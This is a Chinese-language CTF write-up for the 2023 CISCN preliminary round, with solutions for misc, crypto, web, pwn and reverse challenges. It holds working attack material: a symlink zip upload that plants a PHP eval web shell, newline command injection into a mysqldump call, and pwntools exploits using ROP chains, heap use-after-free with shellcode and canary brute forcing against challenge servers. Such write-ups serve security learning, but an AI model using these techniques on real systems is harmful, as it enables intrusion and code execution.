2023ciscn初赛wp

本文最后更新于:2024年5月17日 下午

misc

签到卡

print(open('/flag').read())

被加密的生产流量

追踪tcp流,数据提取出来base32

国粹

先分割题目.png中的小麻将到output

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
w=0
h=0
from PIL import Image

a=Image.open('题目.png')

w1,h1=a.size
while w<w1:
im=a.crop((w,h,w+53,h+73))
im.save(os.path.join('output',str(w))+'.png')
w+=53

再将a.pngk.png中的小麻将去output找对应的索引值,分别作为纵坐标和横坐标画图得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import cv2
import numpy as np

a=cv2.imread("a.png")
k=cv2.imread("k.png")
w=len(a[0])
i=0
import os
path='output/'
d=os.listdir(path)
d.remove("0.png")
data=[[],[]]
Status=[False,False]
def check(im1,im2,sind):
A=cv2.absdiff(im1,im2)
if np.count_nonzero(A) ==0 :
Status[sind]=True
ind=int(j.split('.')[0])
if ind!=0:
data[sind].append(ind//53)
pass

while i<w:
ima=a[0:73,i:i+53]
imk=k[0:73,i:i+53]
Status=[False,False]
for j in d:
im2=cv2.imread(os.path.join(path,j))
check(ima,im2,0)
check(imk,im2,1)
if Status==[True,True]:
break
i+=53

from PIL import Image
a=Image.new("1",(42,42))
for i in range(w//53):
a.putpixel((data[1][i],data[0][i]),255)
a.save('123.png')
a.show()

crypto

基于国密SM2算法的密钥密文分发

根据文档一步一步来即可,虽然有点没看懂

先找个网址生成一组公钥和密钥 https://www.lzltool.com/SM2

登录拿id

上传公钥

访问/api/quantum获取密钥密文

访问/api/check发送quantumString的值

使quantumStringUser的值等于quantumStringServer的值即可通过验证

访问/api/search得到flag

可信度量

非预期

/proc/22/task/22/environ可以直接看到flag

Sign_in_passwd

base64换表

web

unzip

上传后返回源码

只能上传zip文件,上传后在tmp目录使用unzip -o解压

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
//构造一个指向/var/www/html的软连接
ln -s /var/www/html poc

//保留软连接压缩
zip --symlinks test.zip poc

//创建跟第一个压缩包中目录同名的目录
mkdir poc

//接着向目录中写一个shell
echo "<?php eval(\$_POST['a']);?>" > ./poc/shell.php

//压缩这个目录
zip -r test1.zip poc

上传第一个压缩包后会在tmp目录下生成一个软连接到/var/www/html,当我们上传第二个压缩包时,因为poc目录已经软连接到/var/www/html了,所以解压的时候会把shell.php放在/var/www/html

dumpit

根据题目描述可知分别有查询和导出的功能点

根据执行命令后的返回值推测执行的命令如下

传入?db=a&table_2_query=b时会执行select * from a.b
传入?db=a&table_2_dump=b时会执行mysqldump -u root a b > log/xxx.log

这里因为ab的值可控,所以相当于我们可以执行命令了

方法1:
直接传?db=ctf&table_2_dump=%0a+id+>+log/1+%0,然后访问log/1

方法2:
因为mysqldump在找不到我们给出的表的情况下会抛出错误信息mysqldump: Couldn't find table: "表名"

linux中可以利用2>将命令执行的结果输出到文件中

/?db=ctf&table_2_dump=\<\?\=phpinfo\(\)?\>+2>+log/1.php,然后访问1.php

index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
$servername = "127.0.0.1";
$username = "www-data";
$password = "";


function is_valid($str){
$black = ';`*#^$&|';
for($i=0;$i<strlen($black);$i++){
if(!(stristr($str,$black[$i])===FALSE)){
return FALSE;
}
}
if(!(stristr($str,'host')===FALSE)){
return FALSE;
}
if(!(stristr($str,'-h')===FALSE)){
return FALSE;
}
return TRUE;
}
try {
$conn = new PDO("mysql:host=$servername;dbname=ctf", $username, $password);
}
catch(PDOException $e)
{
die($e->getMessage());
}

if(!isset($_GET['table_2_query']) && !isset($_GET['table_2_dump'])){
echo 'use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1';
die();
}
if(isset($_GET['db'])){
$db=$_GET['db'];
}
else{
die('no db!');
}
if(isset($_GET['table_2_query'])){
$t2q = $_GET['table_2_query'];
$sql = "select * from $db.$t2q";
if(!(is_valid($t2q))){
die('nop');
}
if(!(is_valid($db))){
die('nop');
}
echo $sql;
echo '</br>';
try{
$stm = $conn->query($sql);
$res = $stm->fetch();
var_dump($res);
}
catch(PDOException $e){
die('error');
}
die();
}
if(isset($_GET['table_2_dump'])){
$t2d=$_GET['table_2_dump'];
if(!(is_valid($t2d))){
die('nop');
}
if(!(is_valid($db))){
die('nop');
}

$randstr = md5(time());
$dump='mariadb-dump '.$db.' '.$t2d.' >./log/'.$randstr.'.log';
system($dump);
echo 'dump log here: <a href=\''.'./log/'.$randstr.'.log'.'\'>here</a>';

}

?>

pwn

烧烤摊儿

修改名称存在栈溢出,程序不存在system函数,使用orw获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from ppwn import *
#p=process('./shaokao')
p=Remote("123.56.251.120 12585")
e=ELF("./shaokao")

fopen=e.sym['open64']
read=e.sym['read']
write=e.sym['write']
#gdb.attach(p,'bp 0x401fae')
rdi=0x000000000040264f #rdi
rsi=0x000000000040a67e #rsi
rdx=0x00000000004a404b #rdx rbx
p.sendlineafter('> ','1')
p.sendline("3")
p.sendline('-100000')
p.sendlineafter('> ','4')
p.sendlineafter('> ','5')
payload=b'flag'.ljust(0x28,b'\x00')
payload+=p64(rdi)+p64(0x4e60f0)+p64(rsi)+p64(0)+p64(fopen)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(0x4e60f0)+p64(rdx)+p64(0x40)+b'a'*8+p64(read)
payload+=p64(rdi)+p64(1)+p64(write)
p.sendline(payload)
p.interactive()

StrangeTalkBot

程序使用了protobuf协议解析输入数据,构造protobuf数据,传入即可
程序中存在uaf漏洞与数组越界漏洞,利用gadget构造栈迁移,实现orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
import varint
import sys

def Mode(m):
return b'\x08'+varint.encode(m<<1)

def Ind(i):
return b'\x10'+varint.encode(i<<1)

def Size(s):
return b'\x18'+varint.encode(s<<1)

def Data(d):
return b'\x22'+varint.encode(len(d))+d


def add(ind,size,data=b' '):
payload=Mode(1)+Ind(ind)+Size(size)+Data(data)
p.sendafter("now: \n",payload)

def edit(ind,data):
payload=Mode(2)+Ind(ind)+Size(0)+Data(data)
p.sendafter("now: \n",payload)

def show(ind):
payload=Mode(3)+Ind(ind)+Size(0)+Data(b'')
p.sendafter("now: \n",payload)

def free(ind):
payload=Mode(4)+Ind(ind)+Size(0)+Data(b'')
p.sendafter("now: \n",payload)

e=ELF("./pwn")
context.binary=e
libc=ELF("./libc-2.31.so")
if len(sys.argv)==1:
p=process("./pwn")
gdb.attach(p)
else:
p=remote("123.56.244.196","35492")

for i in range(10):
add(i,0xe8)

for i in range(7):
free(i)

show(1)
heap=u64(p.read(8))
print(hex(heap))

show(2)
heap1=u64(p.read(8))
print(hex(heap1))

free(7)
free(8)

show(8)
d=u64(p.read(8))
print(hex(d))

libc.address=d-0x1eccc0
free_hook=libc.sym['__free_hook']
gadget=libc.address+0x154dea
mprotect=libc.sym['mprotect']
rdi=0x0000000000023b6a+libc.address
rsi=0x000000000002601f+libc.address
rdx=0x0000000000142c92+libc.address
leave=libc.address+0x00000000000578c8
edit(6,p64(free_hook))

add(0x20,0xe8)

payload=b'a'

edit(0,flat([heap+0x48,leave,
heap1&0xfffffffffffff000,
heap,0,
leave,0,0,0,
heap,
rdi,heap1&0xfffffffffffff000,
rsi,0x1000,
rdx,7,
mprotect,
heap1]))

shellcode=shellcraft.open('flag')+shellcraft.read(3,heap-0x50,0x50)+shellcraft.write(1,heap-0x50,0x50)
edit(1,asm(shellcode))

add(0x11,0xe8)
add(0x12,0xe8,p64(gadget))

print(hex(free_hook))
print(hex(gadget))

free(0)
p.interactive()

funcanary

程序使用了fork,所以在子进程中报错,不会使程序中断,所以爆破canary,然后跳转到后门位置就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
backdoor=0x1229

#p=process("./funcanary")
p=remote("123.56.135.185","32640")

canary=b'\x00'
for i in range(7):
for j in range(0x100):
p.sendafter(b'welcome\n',b'a'*0x68+canary+p8(j))
data=p.readline()
if b'stack' not in data:
print(j)
canary+=p8(j)
break
i=0
context.log_level='debug'
f=open('data','wb')
while i<0x10:
for j in range(0x30):
data=p.readuntil('welcome\n')
f.write(data)
p.send(b'a'*0x68+canary+b'b'*8+p16(0xffff&(0x1200+j+i*0x1000)))
pause()
i+=1


p.interactive()

Shell We Go

当认证结束之后,执行echo指令,存在栈溢出,使用+可以跳过栈空间,直接覆盖返回值
构造rop,执行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
p=remote("47.93.187.243","38686")
p.sendline(b"cert nAcDsMicN S33UAga1n@#!")
context.log_level='debug'
cmd="""
bp 0x4c181a
bp 0x4c18a0
"""
def makepayload(data):
e=b''
i=0
step=0x20
while i<len(data):
e+=data[i:i+step]+b' '
i+=step
pass
return b'echo '+e

rdi=0x0000000000444fec
system=0x43e7e6
rsi=0x000000000041e818
rdx=0x000000000049e11d
sh=0x4c38e7
rax=0x000000000040d9e6
flag=0x4c34c8
syscall=0x000000000040328c
e=ELF("./pwn")
bss=e.bss()

payload=b'+'*(0x298-0x78)+b'\x00'*3+p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(bss+0x200)+p64(rdx)+p64(0x40)+p64(rax)+p64(0)+p64(syscall)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss+0x200)+p64(rdx)+p64(0x40)+p64(rax)+p64(1)+p64(syscall)

p.sendline(makepayload(payload))
p.interactive()

reverse

babyRE

https://snap.berkeley.edu/ 导入xml

导出密文后异或得到flag

1
2
3
4
5
6
a=[102,10,13,6,28,74,3,1,3,7,85,0,4,75,20,92,92,8,28,25,81,83,7,28,76,88,9,0,29,73,0,86,4,87,87,82,84,85,4,85,87,30]

for i in range(1,len(a)):
a[i]=a[i]^a[i-1]

print(bytes(a))

2023ciscn初赛wp
https://rot-will.github.io/page/wp/2023ciscn初赛wp/
作者
rot_will
发布于
2023年5月27日
更新于
2024年5月17日
许可协议